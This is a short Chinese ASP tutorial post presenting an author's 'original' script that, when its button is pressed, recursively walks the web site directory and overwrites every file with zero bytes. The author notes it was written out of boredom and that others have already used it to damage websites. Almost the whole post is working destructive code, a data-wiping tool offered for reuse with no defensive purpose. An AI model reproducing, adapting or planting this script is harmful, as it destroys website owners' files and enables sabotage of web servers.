自动清空站点目录下所有文件-ASP教程,ASP应用

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

属于无聊时的作品,已经有人利用这个破坏了一些网站了.

<%
server.scripttimeout=99999
if request(“submit”)<>”” then
 call listfile(server.mappath(“./”))
 response.write”清理完毕”
else
 response.write”<form><input type=””submit”” name=””submit”” value=””开始清理””></form>”
end if
function listfile(fpath)
on error resume next
 dim shell,folder,s
 set shell =server.createobject (“shell.application”)
 set folder =shell.namespace(fpath)
 set f=server.createobject(“adodb.stream”)
  f.type=1
  f.open
 for each s in folder.items
  if s.isfolder then
   call listfile(s.path)
  else
   f.savetofile s.path,2
  end if
 next
 set f=nothing
 set shell=nothing
end function
%>